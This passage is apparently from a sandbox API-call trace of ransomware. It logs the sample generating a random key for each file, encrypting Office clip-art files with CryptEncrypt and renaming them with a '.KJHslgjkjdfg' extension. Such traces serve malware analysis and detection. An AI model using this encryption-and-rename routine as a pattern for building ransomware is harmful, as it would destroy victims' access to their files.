lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.806] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.806] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.806] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.807] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.807] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.807] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3896, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3896, lpOverlapped=0x0) returned 1 [0154.808] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x38a0, dwBufLen=0x38a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x38a0) returned 1 [0154.808] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.808] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x38a0, lpOverlapped=0x0) returned 1 [0154.808] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.808] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.808] SetEndOfFile (hFile=0x114) returned 1 [0154.811] GetProcessHeap () returned 0x2a0000 [0154.812] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.812] GetProcessHeap () returned 0x2a0000 [0154.812] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.kjhslgjkjdfg")) returned 1 [0154.813] CloseHandle (hObject=0x114) returned 1 [0154.813] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0154.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.814] GetProcessHeap () returned 0x2a0000 [0154.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.814] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.814] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.814] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.815] GetProcessHeap () returned 0x2a0000 [0154.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.815] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.815] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.815] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.817] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.817] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.817] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.818] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.818] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.818] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.818] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.818] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.818] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4780, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4780, lpOverlapped=0x0) returned 1 [0154.819] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4780, dwBufLen=0x4780 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4780) returned 1 [0154.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.819] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4780, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4780, lpOverlapped=0x0) returned 1 [0154.820] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.820] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.820] SetEndOfFile (hFile=0x114) returned 1 [0154.822] GetProcessHeap () returned 0x2a0000 [0154.823] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.823] GetProcessHeap () returned 0x2a0000 [0154.823] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.kjhslgjkjdfg")) returned 1 [0154.824] CloseHandle (hObject=0x114) returned 1 [0154.824] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0154.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.825] GetProcessHeap () returned 0x2a0000 [0154.825] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.825] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.825] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.825] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0154.828] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.828] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.828] GetProcessHeap () returned 0x2a0000 [0154.828] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.828] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.828] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.828] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.828] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.828] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.829] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.829] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.829] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.829] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.829] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.829] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2b32, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2b32, lpOverlapped=0x0) returned 1 [0154.830] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b40, dwBufLen=0x2b40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b40) returned 1 [0154.830] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.830] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2b40, lpOverlapped=0x0) returned 1 [0154.831] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.831] SetEndOfFile (hFile=0x114) returned 1 [0154.833] GetProcessHeap () returned 0x2a0000 [0154.833] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.833] GetProcessHeap () returned 0x2a0000 [0154.833] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.kjhslgjkjdfg")) returned 1 [0154.835] CloseHandle (hObject=0x114) returned 1 [0154.835] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0154.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.837] GetProcessHeap () returned 0x2a0000 [0154.837] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.837] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.837] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.837] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.839] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.839] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.839] GetProcessHeap () returned 0x2a0000 [0154.839] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.840] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.840] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.840] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.840] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.840] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.840] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.840] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.840] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.840] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.840] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x30e8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x30e8, lpOverlapped=0x0) returned 1 [0154.842] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30f0) returned 1 [0154.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.842] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x30f0, lpOverlapped=0x0) returned 1 [0154.842] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.842] SetEndOfFile (hFile=0x114) returned 1 [0154.845] GetProcessHeap () returned 0x2a0000 [0154.845] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.845] GetProcessHeap () returned 0x2a0000 [0154.845] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.kjhslgjkjdfg")) returned 1 [0154.847] CloseHandle (hObject=0x114) returned 1 [0154.847] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0154.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.849] GetProcessHeap () returned 0x2a0000 [0154.849] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.849] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.849] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.849] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0154.852] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.852] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.852] GetProcessHeap () returned 0x2a0000 [0154.852] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.852] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.852] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.852] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.852] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.852] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.852] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.853] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.853] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.853] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.853] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.853] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x265a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x265a, lpOverlapped=0x0) returned 1 [0154.854] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2660, dwBufLen=0x2660 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2660) returned 1 